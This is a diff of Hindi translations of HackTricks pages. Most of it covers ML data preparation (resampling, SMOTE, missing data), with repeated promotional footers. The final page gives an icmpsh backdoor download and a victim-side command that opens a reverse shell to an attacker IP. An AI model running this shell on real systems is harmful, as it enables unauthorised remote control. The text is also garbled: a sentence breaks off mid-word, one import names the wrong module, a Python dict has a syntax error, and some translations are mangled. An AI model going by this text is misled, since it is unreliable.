* **Oversampling**: अल्पसंख्यक वर्ग के लिए अधिक डेटा उत्पन्न करना जब तक कि उसमें बहुसंख्यक वर्ग के जितने नमूने न हो जाएं।
|
||||
* **ओवरसैम्प्लिंग**: अल्पता वर्ग के लिए अधिक डेटा उत्पन्न करना जब तक इसमें अधिकांश वर्ग के सैंपल हो जाते हैं।
|
||||
```python
|
||||
from imblearn.under_sampling import RandomOverSampler
|
||||
ros = RandomOverSampler(random_state=1337)
|
||||
|
@ -147,15 +135,15 @@ y = dataset.target_column
|
|||
X_over, y_over = ros.fit_resample(X,y)
|
||||
print(y_over.value_counts()) #Confirm data isn't imbalanced anymore
|
||||
```
|
||||
आप **`sampling_strategy`** आर्गुमेंट का उपयोग करके यह संकेत दे सकते हैं कि आप किस **प्रतिशत** से **undersample या oversample** करना चाहते हैं (**डिफ़ॉल्ट रूप से यह 1 (100%)** होता है जिसका मतलब है कि अल्पसंख्यक वर्गों की संख्या को बहुसंख्यक वर्गों के बराबर करना)
|
||||
आप **`sampling_strategy`** तर्क का उपयोग करके **प्रतिशत** निर्दिष्ट कर सकते हैं जिसे आप **अंडरसैंपल या ओवरसैंपल** करना चाहते हैं (**डिफ़ॉल्ट रूप से यह 1 (100%) है** जिसका मतलब है कि अल्पसंख्यक वर्गों की संख्या को बहुसंख्यक वर्गों के समान बनाना)
|
||||
|
||||
{% hint style="info" %}
|
||||
Undersampling या Oversampling सही नहीं होते अगर आप सांख्यिकी (`.describe()` के साथ) ओवर/अंडर-सैंपल किए गए डेटा की तुलना मूल से करते हैं तो आप देखेंगे **कि वे बदल गए हैं।** इसलिए oversampling और undersampling प्रशिक्षण डेटा को संशोधित कर रहे हैं।
|
||||
अंडरसैंपल या ओवरसैंपलिंग पूर्ण नहीं हैं अगर आप ओवर/अंडर-सैंपल्ड डेटा के साथ सांख्यिकी (`.describe()`) प्राप्त करते हैं और उन्हें मूल के साथ तुलना करते हैं तो आप देखेंगे **कि वे बदल गए हैं।** इसलिए ओवरसैंपलिंग और अंडरसैंपलिंग प्रशिक्षण डेटा को संशोधित कर रहे हैं।
|
||||
{% endhint %}
|
||||
|
||||
## SMOTE oversampling
|
||||
## SMOTE ओवरसैंपलिंग
|
||||
|
||||
**SMOTE** आमतौर पर डेटा को oversample करने का **अधिक विश्वसनीय तरीका** होता है।
|
||||
**SMOTE** आम तौर पर डेटा को ओवरसैंपल करने का **एक अधिक विश्वसनीय तरीका है**।
|
||||
```python
|
||||
from imblearn.over_sampling import SMOTE
|
||||
|
||||
|
@ -166,50 +154,46 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3'])
|
|||
dataset['target_column'] = y_smote
|
||||
print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore
|
||||
```
|
||||
# दुर्लभ रूप से आने वाली श्रेणियाँ
|
||||
# दुर्लभ श्रेणियाँ
|
||||
|
||||
कल्पना कीजिए एक डेटासेट जहाँ एक लक्ष्य वर्ग **बहुत कम बार आता है**।
|
||||
एक डेटासेट की कल्पना करें जहाँ लक्षित श्रेणियों में **बहुत कम बार** होती हैं।
|
||||
|
||||
यह पिछले अनुभाग से श्रेणी असंतुलन की तरह है, लेकिन दुर्लभ रूप से आने वाली श्रेणी "अल्पसंख्यक वर्ग" की तुलना में भी कम बार आती है। **कच्चे** **ओवरसैंपलिंग** और **अंडरसैंपलिंग** तरीके यहाँ भी इस्तेमाल किए जा सकते हैं, लेकिन आमतौर पर वे तकनीकें **वास्तव में अच्छे परिणाम नहीं देंगी**।
|
||||
|
||||
## वजन
|
||||
|
||||
कुछ एल्गोरिदम में यह संभव होता है कि **लक्षित डेटा के वजनों में संशोधन किया जाए** ताकि उनमें से कुछ को मॉडल बनाते समय स्वतः अधिक महत्व मिले।
|
||||
यह पिछले खंड से श्रेणी असंतुलन की तरह है, लेकिन दुर्लभ श्रेणी उस मामले में "अल्पता श्रेणी" से भी कम होती है। **कच्चे** **ओवरसैम्प्लिंग** और **अंडरसैम्प्लिंग** विध
|
||||
```python
|
||||
weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True
|
||||
model = LogisticRegression(class_weight=weights)
|
||||
```
|
||||
आप **वजनों को ओवर/अंडर-सैंपलिंग तकनीकों के साथ मिला सकते हैं** परिणामों में सुधार करने की कोशिश करने के लिए।
|
||||
आप **वजनों को ओवर/अंडर-सैम्पलिंग तकनीकों के साथ मिश्रित कर सकते हैं** ताकि परिणामों में सुधार करने का प्रयास करें।
|
||||
|
||||
## PCA - मुख्य घटक विश्लेषण
|
||||
## PCA - प्रिंसिपल कॉम्पोनेंट विश्लेषण
|
||||
|
||||
यह एक ऐसी विधि है जो डेटा की आयामीता को कम करने में मदद करती है। यह **विभिन्न फीचर्स को संयोजित करेगा** ताकि उनकी मात्रा को **कम किया जा सके** और **अधिक उपयोगी फीचर्स उत्पन्न किए जा सकें** (_कम गणना की आवश्यकता होती है_)।
|
||||
यह एक विधि है जो डेटा की आयामिकता को कम करने में मदद करती है। यह **विभिन्न विशेषताओं को जोड़कर** उन्हें **कम करने** के लिए जाएगी जिससे **अधिक उपयोगी विशेषताएँ** उत्पन्न होंगी (_कम कम्प्यूटेशन की आवश्यकता होगी_।)
|
||||
|
||||
परिणामी फीचर्स मानव द्वारा समझे नहीं जा सकते हैं, इसलिए यह डेटा को **गुमनाम भी करता है**।
|
||||
परिणामी विशेषताएँ मानवों द्वारा समझी नहीं जा सकती हैं, इसलिए यह डेटा को **अनामित** भी करती है।
|
||||
|
||||
# असंगत लेबल श्रेणियाँ
|
||||
|
||||
डेटा में असफल परिवर्तनों के कारण या सिर्फ मानवीय त्रुटि के कारण गलतियाँ हो सकती हैं।
|
||||
डेटा में गलतियाँ हो सकती हैं असफल परिवर्तनों के लिए या बस मानव त्रुटि के कारण।
|
||||
|
||||
इसलिए आपको **वर्तनी त्रुटियों के साथ समान लेबल**, विभिन्न **पूंजीकरण**, **संक्षिप्तियाँ** जैसे कि: _BLUE, Blue, b, bule_ मिल सकते हैं। आपको मॉडल प्रशिक्षण से पहले डेटा के भीतर इन लेबल त्रुटियों को ठीक करना होगा।
|
||||
इसलिए आप **वही लेबल गलतियों के साथ** पाए जा सकते हैं, जैसे कि वर्णन गलतियाँ, विभिन्न **कैपिटलाइजेशन**, **संक्षेपण** जैसे: _BLUE, Blue, b, bule_. आपको मॉडल को प्रशिक्षण देने से पहले इन लेबल त्रुटियों को ठीक करना होगा।
|
||||
|
||||
आप इन समस्याओं को सब कुछ छोटे अक्षरों में बदलकर और गलत लिखे गए लेबल्स को सही लोगों से मैप करके साफ कर सकते हैं।
|
||||
आप सब कुछ को लोअरकेसिंग करके साफ कर सकते हैं और गलत लेबल को सही लेबलों से मैप कर सकते हैं।
|
||||
|
||||
यह बहुत महत्वपूर्ण है कि जांचें कि **आपके पास जो भी डेटा है वह सही ढंग से लेबल किया गया है**, क्योंकि उदाहरण के लिए, डेटा में एक वर्तनी त्रुटि, जब क्लासेस को डमी एन्कोडिंग करते हैं, तो अंतिम फीचर्स में एक नया कॉलम उत्पन्न करेगी जिसके **अंतिम मॉडल के लिए बुरे परिणाम होंगे**। इस उदाहरण को एक कॉलम को वन-हॉट एन्कोडिंग करके और बनाए गए कॉलमों के नामों की जांच करके बहुत आसानी से पता लगाया जा सकता है।
|
||||
**यह बहुत महत्वपूर्ण है कि आप जांचें कि आपके पास सभी डेटा सही ढंग से लेबल किया गया है**, क्योंकि उदाहरण के लिए, डेटा में एक वर्णन गलती, जब क्लासों को डमी कोडिंग किया जाएगा, तो अंतिम विशेषताओं में एक नई कॉलम उत्पन्न होगी जिसके लिए **अंतिम मॉडल के लिए बुरे परिणाम** होंगे। इस उदाहरण को एक-हॉट एनकोडिंग करके बहुत आसानी से पता लगाया जा सकता है और उत्पन्न की गई कॉलमों के नामों की जांच की जा सकती है।
|
||||
|
||||
# गायब डेटा
|
||||
|
||||
अध्ययन का कुछ डेटा गायब हो सकता है।
|
||||
|
||||
यह हो सकता है कि कुछ पूरी तरह से यादृच्छिक डेटा किसी त्रुटि के कारण गायब हो। इस प्रकार का डेटा **पूरी तरह से यादृच्छिक रूप से गायब** (**MCAR**) है।
|
||||
कुछ पूर्ण यादृच्छिक डेटा कुछ त्रुटि के लिए गायब हो सकता है। यह एक प्रकार का डेटा है जो **पूरी तरह से यादृच्छिक रूप से गायब है** (**MCAR**).
|
||||
|
||||
यह हो सकता है कि कुछ यादृच्छिक डेटा गायब हो लेकिन कुछ विशेष विवरण गायब होने की संभावना अधिक हो, उदाहरण के लिए अधिक बार पुरुष अपनी उम्र बताएंगे लेकिन महिलाएं नहीं। इसे **यादृच्छिक रूप से गायब** (**MAR**) कहा जाता है।
|
||||
यह हो सकता है कि कुछ यादृच्छिक डेटा गायब हो लेकिन कुछ विशेष विवरणों को गायब होने के ज्यादा संभावनीय बनाने वाली कुछ चीज हो। उदाहरण के लिए, आमतौर पर आदमी अपनी उम्र बताएगा लेकिन महिलाएं नहीं। इसे **यादृच्छिक रूप से गायब होना** कहा जाता है (**MAR**).
|
||||
|
||||
अंत में, कुछ डेटा **यादृच्छिक रूप से नहीं गायब** (**MNAR**) हो सकता है। डेटा का मूल्य सीधे डेटा होने की संभावना से संबंधित है। उदाहरण के लिए, यदि आप कुछ शर्मनाक मापना चाहते हैं, तो जितना अधिक कोई शर्मिंदा है, उतना कम संभावना है कि वह इसे साझा करेगा।
|
||||
अंततः, डेटा **यादृच्छिक रूप से गायब नहीं** हो सकता है (**MNAR**). डेटा का मूल्य सीधे डेटा होने की संभावना से संबंधित है। उदाहरण के लिए, यदि आप कुछ शर्मनाक की चीज को मापना चाहते हैं, तो जितना अधिक कोई शर्मिंदा होगा, उतनी कम संभावना है कि वह इसे साझा करेगा।
|
||||
|
||||
गायब डेटा की **पहली दो श्रेणियाँ** **अनदेखी की जा सकती हैं**। लेकिन **तीसरी श्रेणी** को केवल उन डेटा के हिस्सों पर विचार करने की आवश्यकता होती है जो प्रभावित नहीं हैं या किसी तरह से **गायब डेटा को मॉडल करने की कोशिश करनी होगी**।
|
||||
**पहले दो श्रेणियों** के गायब डेटा को **नजरअंदाज** किया जा सकता है। लेकिन **तीसरा** वाला **केवल डेटा के केवल भागों को** ध्यान में रखने की आवश्यकता है जो प्रभावित नहीं है या **गायब डेटा को किसी प्रकार से मॉडल करने की कोशिश करने की** आवश्यकता है।
|
||||
|
||||
गायब डेटा के बारे में जानने का एक तरीका `.info()` फ़ंक्शन का उपयोग करना है क्योंकि यह **पंक्तियों की संख्या के साथ-साथ प्रति श्रेणी मानों की संख्या को भी इंगित करेगा**। यदि किसी श्रेणी में पंक्तियों की संख्या से कम मान हैं, तो कुछ डेटा गायब है:
|
||||
गायब डेटा के बारे में जानने का एक तरीका `.info()` फ़ंक्शन का उपयोग करना है क्योंकि यह **पंक्तियों की संख्या को ही नहीं बताएगा बल्कि वर्गों के प्रति मानों की संख्या भी** दर्शाएगा। यदि किसी वर्ग में पंक्तियों की संख्या से कम मान है, तो कुछ डेटा गायब है:
|
||||
```bash
|
||||
# Get info of the dataset
|
||||
dataset.info()
|
||||
|
@ -217,29 +201,29 @@ dataset.info()
|
|||
# Drop all rows where some value is missing
|
||||
dataset.dropna(how='any', axis=0).info()
|
||||
```
|
||||
आमतौर पर यह सिफारिश की जाती है कि अगर कोई फीचर **डेटासेट के 20% से अधिक में गायब है,** तो **कॉलम को हटा देना चाहिए:**
|
||||
आम तौर पर सिफ़र यह सिफ़राश की जाती है कि यदि किसी फ़ीचर की **डेटासेट में 20% से अधिक अनुपस्थित** है, तो **स्तंभ को हटा देना चाहिए:**
|
||||
```bash
|
||||
# Remove column
|
||||
dataset.drop('Column_name', axis='columns', inplace=True)
|
||||
dataset.info()
|
||||
```
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि **सभी गायब मान डेटासेट में गायब नहीं होते हैं**। संभव है कि गायब मानों को "Unknown", "n/a", "", -1, 0... जैसे मान दिए गए हों। आपको डेटासेट की जांच करनी होगी (उपयोग करके `dataset.column`_`name.value`_`counts(dropna=False)` संभावित मानों की जांच के लिए)।
|
||||
ध्यान दें कि **डेटासेट में सभी गायब मान गायब नहीं हैं**। संभावना है कि गायब मान को "अज्ञात", "एन/ए", "", -1, 0... दिया गया हो। आपको डेटासेट की जांच करनी होगी ( `dataset.column`_`name.value`_`counts(dropna=False)` का उपयोग करके संभावित मानों की जांच करनी होगी)।
|
||||
{% endhint %}
|
||||
|
||||
अगर डेटासेट में कुछ डेटा गायब है (और यह बहुत ज्यादा नहीं है) तो आपको **गायब डेटा की श्रेणी का पता लगाना** होगा। इसके लिए आपको यह जानना होगा कि **गायब डेटा यादृच्छिक है या नहीं**, और इसके लिए आपको यह पता लगाना होगा कि क्या **गायब डेटा डेटासेट के अन्य डेटा के साथ सहसंबंधित था**।
|
||||
यदि किसी डेटासेट में कुछ डेटा गायब है (यह ज्यादा नहीं है) तो आपको **गायब डेटा की श्रेणी** ढूंढनी होगी। इसके लिए आपको मुख्य रूप से यह जानना होगा कि **गायब डेटा यादृच्छिक है या नहीं**, और इसके लिए आपको यह जानना होगा कि **गायब डेटा किसी अन्य डेटासेट के साथ संबंधित था या नहीं**।
|
||||
|
||||
यह जानने के लिए कि कोई गायब मान किसी अन्य कॉलम के साथ सहसंबंधित है या नहीं, आप एक नया कॉलम बना सकते हैं जो 1s और 0s डालता है अगर डेटा गायब है या नहीं है और फिर उनके बीच सहसंबंध की गणना कर सकते हैं:
|
||||
गायब मान के साथ किसी अन्य स्तंभ के संबंध का पता लगाने के लिए, आप एक नया स्तंभ बना सकते हैं जो यदि डेटा गायब है या नहीं है और फिर उनके बीच संबंध गणना कर सकते हैं:
|
||||
```bash
|
||||
# The closer it's to 1 or -1 the more correlated the data is
|
||||
# Note that columns are always perfectly correlated with themselves.
|
||||
dataset[['column_name', 'cloumn_missing_data']].corr()
|
||||
```
|
||||
यदि आप गायब डेटा को अनदेखा करने का निर्णय लेते हैं, तो आपको अभी भी यह तय करना होगा कि उसके साथ क्या करना है: आप **पंक्तियों को हटा सकते हैं** जिसमें डेटा गायब है (मॉडल के लिए प्रशिक्षण डेटा छोटा हो जाएगा), आप **सुविधा को पूरी तरह से हटा सकते हैं**, या **इसे मॉडल कर सकते हैं**।
|
||||
अगर आप गायब डेटा को नजरअंदाज करने का निर्णय लेते हैं तो आपको उसके साथ क्या करना है: आप गायब डेटा वाली पंक्तियों को हटा सकते हैं (मॉडल के लिए प्रशिक्षण डेटा छोटा होगा), आप **विशेषता को पूरी तरह से हटा सकते हैं**, या फिर **मॉडल कर सकते हैं**।
|
||||
|
||||
आपको **लक्ष्य स्तंभ के साथ गायब सुविधा के बीच सहसंबंध की जांच करनी चाहिए** ताकि यह देख सकें कि लक्ष्य के लिए वह सुविधा कितनी महत्वपूर्ण है, अगर यह वास्तव में **छोटी** है तो आप इसे **छोड़ सकते हैं या भर सकते हैं**।
|
||||
आपको **गायब विशेषता के बीच संबंध की जांच करनी चाहिए लक्ष्य स्तंभ के साथ** देखने के लिए कि वह विशेषता लक्ष्य के लिए कितना महत्वपूर्ण है, अगर यह वास्तव में **छोटा** है तो आप इसे **हटा सकते हैं या भर सकते हैं**।
|
||||
|
||||
गायब **निरंतर डेटा** को भरने के लिए आप इस्तेमाल कर सकते हैं: **माध्य**, **मध्यिका** या किसी **इम्प्यूटेशन** एल्गोरिथ्म का उपयोग कर सकते हैं। इम्प्यूटेशन एल्गोरिथ्म अन्य सुविधाओं का उपयोग करके गायब सुविधा के लिए एक मूल्य खोजने की कोशिश कर सकता है:
|
||||
गायब **निरंतर डेटा** को भरने के लिए आप इस्तेमाल कर सकते हैं: **औसत**, **माध्य** या एक **भरपाई** एल्गोरिदम। भरपाई एल्गोरिदम दूसरी विशेषताओं का उपयोग करने का प्रयास कर सकता है गायब विशेषता के लिए एक मान ढूंढने के लिए:
|
||||
```python
|
||||
from sklearn.impute import KNNImputer
|
||||
|
||||
|
@ -255,11 +239,11 @@ dataset_imp = pd.DataFrame(X_imp)
|
|||
dataset.columns = ['column1', 'column2', 'column3']
|
||||
dataset.iloc[10:20] # Get some indexes that contained empty data before
|
||||
```
|
||||
मौजूदा श्रेणीय डेटा को भरने के लिए सबसे पहले आपको यह सोचना होगा कि क्या कोई कारण है जिसके वजह से मान गायब हैं। अगर यह **उपयोगकर्ताओं की पसंद** के कारण है (उन्होंने डेटा देना नहीं चाहा) तो शायद आप **नई श्रेणी बना सकते हैं** जो इसे दर्शाता है। अगर यह मानवीय त्रुटि के कारण है तो आप **पंक्तियों को हटा सकते हैं** या **फीचर** को (पहले बताए गए चरणों की जांच करें) या **सबसे अधिक प्रयुक्त श्रेणी के साथ भर सकते हैं, जो मोड है** (अनुशंसित नहीं है)।
|
||||
श्रेणीय डेटा को भरने के लिए सबसे पहले आपको सोचना होगा कि क्या कोई कारण है जिसकी वजह से मान गाया है। यदि यह **उपयोगकर्ताओं की चुनौती** के आधार पर है (उन्होंने डेटा नहीं देना चाहा) तो शायद आप **एक नई श्रेणी बना सकते** हैं। यदि यह मानव त्रुटि की वजह से है तो आप **पंक्तियों या विशेषता को हटा सकते** हैं (पहले उल्लिखित चरणों की जांच करें) या इसे **मोड, सबसे अधिक उपयोग की जाने वाली श्रेणी** से भर सकते हैं (सिफारिश नहीं की जाती है)।
|
||||
|
||||
# फीचर्स को संयोजित करना
|
||||
# विशेषताओं को जोड़ना
|
||||
|
||||
यदि आप **दो फीचर्स** को पाते हैं जो आपस में **सहसंबद्ध** हैं, आमतौर पर आपको उनमें से एक को (जो लक्ष्य के साथ कम सहसंबद्ध है) **हटा देना चाहिए**, लेकिन आप **उन्हें संयोजित करके एक नया फीचर बनाने का प्रयास** भी कर सकते हैं।
|
||||
यदि आपको **दो विशेषताएं** मिलती हैं जो एक दूसरे के **संबंधित** हैं, तो आम तौर पर आपको उनमें से एक को हटा देना चाहिए (जो लक्ष्य के साथ कम संबंधित है), लेकिन आप उन्हें **मिलाकर एक नई विशेषता बनाने** की कोशिश भी कर सकते हैं।
|
||||
```python
|
||||
# Create a new feautr combining feature1 and feature2
|
||||
dataset['new_feature'] = dataset.column1/dataset.column2
|
||||
|
@ -274,14 +258,14 @@ pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], i
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं** या **हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** अपने पीआर को **सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे [**@carlospolopm**](https://twitter.com/carlospolopm) पर **फॉलो करें**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी हैकट्रिक्स में विज्ञापित हो** या **हैकट्रिक्स को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** ([**HackTricks**](https://github.com/carlospolop/hacktricks)) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,19 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
बैकडोर यहाँ से डाउनलोड करें: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
बैकडोर डाउनलोड करें: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# क्लाइंट साइड
|
||||
|
||||
|
@ -29,22 +29,22 @@ IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
|||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **पीड़ित पक्ष**
|
||||
# **शिकारक दल**
|
||||
|
||||
**icmpsh.exe** को पीड़ित के सिस्टम पर अपलोड करें और निष्पादित करें:
|
||||
**icmpsh.exe** को शिकारक के पास अपलोड करें और क्रियान्वित करें:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
